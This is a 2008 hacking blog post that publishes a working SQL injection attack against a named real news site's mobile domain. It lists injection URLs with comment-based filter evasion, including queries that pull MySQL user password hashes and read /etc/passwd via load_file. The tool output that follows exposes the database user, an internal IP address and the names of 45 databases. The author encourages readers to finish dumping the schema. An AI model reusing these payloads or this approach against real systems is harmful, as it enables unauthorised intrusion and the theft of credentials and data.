viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Wednesday, October 15, 2008

[SQLi] http://mobile.kompas.com

1:06 AM Posted by viperfx07 No comments
I try to get the full schema of kompas.com but i'm too tired, and it's too many. If you're so eager to "hack", try to get them all :)

Info:
[+] URL:http://mobile.kompas.com/?go=p&pid=1&idm=8'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,sqli,2,3/*
[+] Evasion Used: "/**/" "/*"
[+] 17:59:19
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: kompasmobile
User: megadb@10.50.12.196
Version: 5.0.22

[+] Do we have Access to MySQL Database: Yes <-- w00t w00t
[!] http://mobile.kompas.com/?go=p&pid=1&idm=8'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,concat(user,0x3a,password),2,3/**/FROM/**/mysql.user/*

[+] Do we have Access to Load_File: Yes <-- w00t w00t
[!] http://mobile.kompas.com/?go=p&pid=1&idm=8'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,load_file(0x2f6574632f706173737764),2,3/*


Dump:
[+] URL:http://mobile.kompas.com/?go=p&pid=1&idm=8'/**/AND/**/1=2/**/UNION/**/SELECT/**/0,sqli,2,3/*
[+] Evasion Used: "/**/" "/*"
[+] 20:52:57
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: kompasmobile
User: megadb@10.50.12.196
Version: 5.0.22
[+] Showing all databases current user has access too!
[+] Number of Databases: 45

[0]adprimainfo
[1]blog
[2]blogat141
[3]entertainment
[4]forumprimainfo
[5]jakartacmoclub
[6]kompas
[7]kompas_blog
[8]kompas_blog2
[9]kompas_cetak
[10]kompasblog
[11]kompasclient
[12]kompasclient2
[13]kompascommunity
[14]kompasforum
[15]kompasiana
[16]kompasimages
[17]kompasmobile
[18]kompasmuda
[19]kompasnewblog
[20]kontan
[21]kontan2
[22]kontanBKUP
[23]kontanBKUP2
[24]limesurvey
[25]lost+found
[26]mobile
[27]mysql
[28]phplistdb
[29]primainfo
[30]sriwijayapost
[31]test
[32]tribunkaltim
[33]u_amazingthai
[34]u_bentarabudaya
[35]u_bentarabudayaBK
[36]u_cantikitu
[37]u_hepi
[38]u_hsbc
[39]u_indojapan
[40]u_momo
[41]u_nakita
[42]u_otomotionfm
[43]u_undangan29mei
[44]urbanfest

0 comments:

Post a Comment